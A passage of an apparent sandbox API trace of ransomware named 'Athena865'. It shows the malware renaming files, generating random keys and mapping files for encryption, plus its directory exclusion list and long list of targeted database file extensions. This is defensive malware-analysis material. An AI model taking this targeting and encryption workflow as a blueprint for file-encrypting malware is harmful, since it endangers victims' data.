lpString2="xml") returned 0 [0081.620] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Athena865") returned 67 [0081.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.athena865"), dwFlags=0x1) returned 1 [0081.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.622] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80116) returned 1 [0081.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.623] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.623] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.623] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.624] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c00, lpName=0x0) returned 0x154 [0081.625] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c00) returned 0x100000 [0081.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.630] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.630] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0081.631] CloseHandle (hObject=0x154) returned 1 [0081.631] CloseHandle (hObject=0x17c) returned 1 [0081.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.632] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="..") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="windows") returned -1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="bootmgr") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="temp") returned -1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="pagefile.sys") returned -1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="boot") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="ids.txt") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="ntuser.dat") returned 1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="perflogs") returned -1 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="MSBuild") returned 1 [0081.632] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0081.632] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0081.632] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0081.632] lstrlenW (lpString="Athena865") returned 9 [0081.632] lstrcmpiW (lpString1="NOTEM.EXE", lpString2="Athena865") returned 1 [0081.632] lstrlenW (lpString=".dll") returned 4 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".dll") returned 1 [0081.632] lstrlenW (lpString=".lnk") returned 4 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".lnk") returned 1 [0081.632] lstrlenW (lpString=".ini") returned 4 [0081.632] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".ini") returned 1 [0081.632] lstrlenW (lpString=".sys") returned 4 [0081.633] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2=".sys") returned 1 [0081.633] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0081.633] lstrlenW (lpString="bak") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0081.633] lstrlenW (lpString="ba_") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0081.633] lstrlenW (lpString="dbb") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0081.633] lstrlenW (lpString="vmdk") returned 4 [0081.633] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0081.633] lstrlenW (lpString="rar") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0081.633] lstrlenW (lpString="zip") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0081.633] lstrlenW (lpString="tgz") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0081.633] lstrlenW (lpString="vbox") returned 4 [0081.633] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0081.633] lstrlenW (lpString="vdi") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0081.633] lstrlenW (lpString="vhd") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0081.633] lstrlenW (lpString="vhdx") returned 4 [0081.633] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0081.633] lstrlenW (lpString="avhd") returned 4 [0081.633] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0081.633] lstrlenW (lpString="db") returned 2 [0081.633] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0081.633] lstrlenW (lpString="db2") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0081.633] lstrlenW (lpString="db3") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0081.633] lstrlenW (lpString="dbf") returned 3 [0081.633] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0081.634] lstrlenW (lpString="mdf") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0081.634] lstrlenW (lpString="mdb") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0081.634] lstrlenW (lpString="sql") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0081.634] lstrlenW (lpString="sqlite") returned 6 [0081.634] lstrcmpiW (lpString1="EM.EXE", lpString2="sqlite") returned -1 [0081.634] lstrlenW (lpString="sqlite3") returned 7 [0081.634] lstrcmpiW (lpString1="TEM.EXE", lpString2="sqlite3") returned 1 [0081.634] lstrlenW (lpString="sqlitedb") returned 8 [0081.634] lstrcmpiW (lpString1="OTEM.EXE", lpString2="sqlitedb") returned -1 [0081.634] lstrlenW (lpString="xml") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0081.634] lstrlenW (lpString="$er") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0081.634] lstrlenW (lpString="4dd") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0081.634] lstrlenW (lpString="4dl") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0081.634] lstrlenW (lpString="^^^") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0081.634] lstrlenW (lpString="abs") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0081.634] lstrlenW (lpString="abx") returned 3 [0081.634] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0081.634] lstrlenW (lpString="accdb") returned 5 [0081.634] lstrcmpiW (lpString1="M.EXE", lpString2="accdb") returned 1 [0081.634] lstrlenW (lpString="accdc") returned 5 [0081.634] lstrcmpiW (lpString1="M.EXE", lpString2="accdc") returned 1 [0081.634] lstrlenW (lpString="accde") returned 5 [0081.634] lstrcmpiW (lpString1="M.EXE", lpString2="accde") returned 1 [0081.634] lstrlenW (lpString="accdr") returned 5 [0081.634] lstrcmpiW (lpString1="M.EXE", lpString2="accdr") returned 1 [0081.635] lstrlenW (lpString="accdt") returned 5 [0081.635] lstrcmpiW (lpString1="M.EXE", lpString2="accdt") returned 1 [0081.635] lstrlenW (lpString="accdw") returned 5 [0081.635] lstrcmpiW (lpString1="M.EXE", lpString2="accdw") returned 1 [0081.635] lstrlenW (lpString="accft") returned 5 [0081.635] lstrcmpiW (lpString1="M.EXE", lpString2="accft") returned 1 [0081.635] lstrlenW (lpString="adb") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0081.635] lstrlenW (lpString="adb") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0081.635] lstrlenW (lpString="ade") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0081.635] lstrlenW (lpString="adf") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0081.635] lstrlenW (lpString="adn") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0081.635] lstrlenW (lpString="adp") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0081.635] lstrlenW (lpString="alf") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0081.635] lstrlenW (lpString="ask") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0081.635] lstrlenW (lpString="btr") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0081.635] lstrlenW (lpString="cat") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0081.635] lstrlenW (lpString="cdb") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0081.635] lstrlenW (lpString="ckp") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0081.635] lstrlenW (lpString="cma") returned 3 [0081.635] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0081.635] lstrlenW (lpString="cpd") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0081.636] lstrlenW (lpString="dacpac") returned 6 [0081.636] lstrcmpiW (lpString1="EM.EXE", lpString2="dacpac") returned 1 [0081.636] lstrlenW (lpString="dad") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0081.636] lstrlenW (lpString="dadiagrams") returned 10 [0081.636] lstrcmpiW (lpString1="ENOTEM.EXE", lpString2="dadiagrams") returned 1 [0081.636] lstrlenW (lpString="daschema") returned 8 [0081.636] lstrcmpiW (lpString1="OTEM.EXE", lpString2="daschema") returned 1 [0081.636] lstrlenW (lpString="db-journal") returned 10 [0081.636] lstrcmpiW (lpString1="ENOTEM.EXE", lpString2="db-journal") returned 1 [0081.636] lstrlenW (lpString="db-shm") returned 6 [0081.636] lstrcmpiW (lpString1="EM.EXE", lpString2="db-shm") returned 1 [0081.636] lstrlenW (lpString="db-wal") returned 6 [0081.636] lstrcmpiW (lpString1="EM.EXE", lpString2="db-wal") returned 1 [0081.636] lstrlenW (lpString="dbc") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0081.636] lstrlenW (lpString="dbs") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0081.636] lstrlenW (lpString="dbt") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0081.636] lstrlenW (lpString="dbv") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0081.636] lstrlenW (lpString="dbx") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0081.636] lstrlenW (lpString="dcb") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0081.636] lstrlenW (lpString="dct") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0081.636] lstrlenW (lpString="dcx") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0081.636] lstrlenW (lpString="ddl") returned 3 [0081.636] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0081.636] lstrlenW (lpString="dlis") returned 4 [0081.637] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0081.637] lstrlenW (lpString="dp1") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0081.637] lstrlenW (lpString="dqy") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0081.637] lstrlenW (lpString="dsk") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0081.637] lstrlenW (lpString="dsn") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0081.637] lstrlenW (lpString="dtsx") returned 4 [0081.637] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0081.637] lstrlenW (lpString="dxl") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0081.637] lstrlenW (lpString="eco") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0081.637] lstrlenW (lpString="ecx") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0081.637] lstrlenW (lpString="edb") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0081.637] lstrlenW (lpString="epim") returned 4 [0081.637] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0081.637] lstrlenW (lpString="fcd") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0081.637] lstrlenW (lpString="fdb") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0081.637] lstrlenW (lpString="fic") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0081.637] lstrlenW (lpString="flexolibrary") returned 12 [0081.637] lstrlenW (lpString="fm5") returned 3 [0081.637] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0081.638] lstrlenW (lpString="fmp") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0081.638] lstrlenW (lpString="fmp12") returned 5 [0081.638] lstrcmpiW (lpString1="M.EXE", lpString2="fmp12") returned 1 [0081.638] lstrlenW (lpString="fmpsl") returned 5 [0081.638] lstrcmpiW (lpString1="M.EXE", lpString2="fmpsl") returned 1 [0081.638] lstrlenW (lpString="fol") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0081.638] lstrlenW (lpString="fp3") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0081.638] lstrlenW (lpString="fp4") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0081.638] lstrlenW (lpString="fp5") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0081.638] lstrlenW (lpString="fp7") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0081.638] lstrlenW (lpString="fpt") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0081.638] lstrlenW (lpString="frm") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0081.638] lstrlenW (lpString="gdb") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0081.638] lstrlenW (lpString="gdb") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0081.638] lstrlenW (lpString="grdb") returned 4 [0081.638] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0081.638] lstrlenW (lpString="gwi") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0081.638] lstrlenW (lpString="hdb") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0081.638] lstrlenW (lpString="his") returned 3 [0081.638] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0081.638] lstrlenW (lpString="ib") returned 2 [0081.639] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0081.639] lstrlenW (lpString="idb") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0081.639] lstrlenW (lpString="ihx") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0081.639] lstrlenW (lpString="itdb") returned 4 [0081.639] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0081.639] lstrlenW (lpString="itw") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0081.639] lstrlenW (lpString="jet") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0081.639] lstrlenW (lpString="jtx") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0081.639] lstrlenW (lpString="kdb") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0081.639] lstrlenW (lpString="kexi") returned 4 [0081.639] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0081.639] lstrlenW (lpString="kexic") returned 5 [0081.639] lstrcmpiW (lpString1="M.EXE", lpString2="kexic") returned 1 [0081.639] lstrlenW (lpString="kexis") returned 5 [0081.639] lstrcmpiW (lpString1="M.EXE", lpString2="kexis") returned 1 [0081.639] lstrlenW (lpString="lgc") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0081.639] lstrlenW (lpString="lwx") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0081.639] lstrlenW (lpString="maf") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0081.639] lstrlenW (lpString="maq") returned 3 [0081.639] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0081.639] lstrlenW (lpString="mar") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0081.640] lstrlenW (lpString="marshal") returned 7 [0081.640] lstrcmpiW (lpString1="TEM.EXE", lpString2="marshal") returned 1 [0081.640] lstrlenW (lpString="mas") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0081.640] lstrlenW (lpString="mav") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0081.640] lstrlenW (lpString="maw") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0081.640] lstrlenW (lpString="mdbhtml") returned 7 [0081.640] lstrcmpiW (lpString1="TEM.EXE", lpString2="mdbhtml") returned 1 [0081.640] lstrlenW (lpString="mdn") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0081.640] lstrlenW (lpString="mdt") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0081.640] lstrlenW (lpString="mfd") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0081.640] lstrlenW (lpString="mpd") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0081.640] lstrlenW (lpString="mrg") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0081.640] lstrlenW (lpString="mud") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0081.640] lstrlenW (lpString="mwb") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0081.640] lstrlenW (lpString="myd") returned 3 [0081.640] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0081.640] lstrlenW (lpString="ndf") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0081.641] lstrlenW (lpString="nnt") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0081.641] lstrlenW (lpString="nrmlib") returned 6 [0081.641] lstrcmpiW (lpString1="EM.EXE", lpString2="nrmlib") returned -1 [0081.641] lstrlenW (lpString="ns2") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0081.641] lstrlenW (lpString="ns3") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0081.641] lstrlenW (lpString="ns4") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0081.641] lstrlenW (lpString="nsf") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0081.641] lstrlenW (lpString="nv") returned 2 [0081.641] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0081.641] lstrlenW (lpString="nv2") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0081.641] lstrlenW (lpString="nwdb") returned 4 [0081.641] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0081.641] lstrlenW (lpString="nyf") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0081.641] lstrlenW (lpString="odb") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0081.641] lstrlenW (lpString="odb") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0081.641] lstrlenW (lpString="oqy") returned 3 [0081.641] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0081.642] lstrlenW (lpString="ora") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0081.642] lstrlenW (lpString="orx") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0081.642] lstrlenW (lpString="owc") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0081.642] lstrlenW (lpString="p96") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0081.642] lstrlenW (lpString="p97") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0081.642] lstrlenW (lpString="pan") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0081.642] lstrlenW (lpString="pdb") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0081.642] lstrlenW (lpString="pdm") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0081.642] lstrlenW (lpString="pnz") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0081.642] lstrlenW (lpString="qry") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0081.642] lstrlenW (lpString="qvd") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0081.642] lstrlenW (lpString="rbf") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0081.642] lstrlenW (lpString="rctd") returned 4 [0081.642] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0081.642] lstrlenW (lpString="rod") returned 3 [0081.642] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0081.642] lstrlenW (lpString="rodx") returned 4 [0081.643] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0081.643] lstrlenW (lpString="rpd") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0081.643] lstrlenW (lpString="rsd") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0081.643] lstrlenW (lpString="sas7bdat") returned 8 [0081.643] lstrcmpiW (lpString1="OTEM.EXE", lpString2="sas7bdat") returned -1 [0081.643] lstrlenW (lpString="sbf") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0081.643] lstrlenW (lpString="scx") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0081.643] lstrlenW (lpString="sdb") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0081.643] lstrlenW (lpString="sdc") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0081.643] lstrlenW (lpString="sdf") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0081.643] lstrlenW (lpString="sis") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0081.643] lstrlenW (lpString="spq") returned 3 [0081.643] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0081.643] lstrlenW (lpString="te") returned 2 [0081.643] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0081.643] lstrlenW (lpString="teacher") returned 7 [0081.643] lstrcmpiW (lpString1="TEM.EXE", lpString2="teacher") returned 1 [0081.643] lstrlenW (lpString="tmd") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0081.644] lstrlenW (lpString="tps") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0081.644] lstrlenW (lpString="trc") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0081.644] lstrlenW (lpString="trc") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0081.644] lstrlenW (lpString="trm") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0081.644] lstrlenW (lpString="udb") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0081.644] lstrlenW (lpString="udl") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0081.644] lstrlenW (lpString="usr") returned 3 [0081.644] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 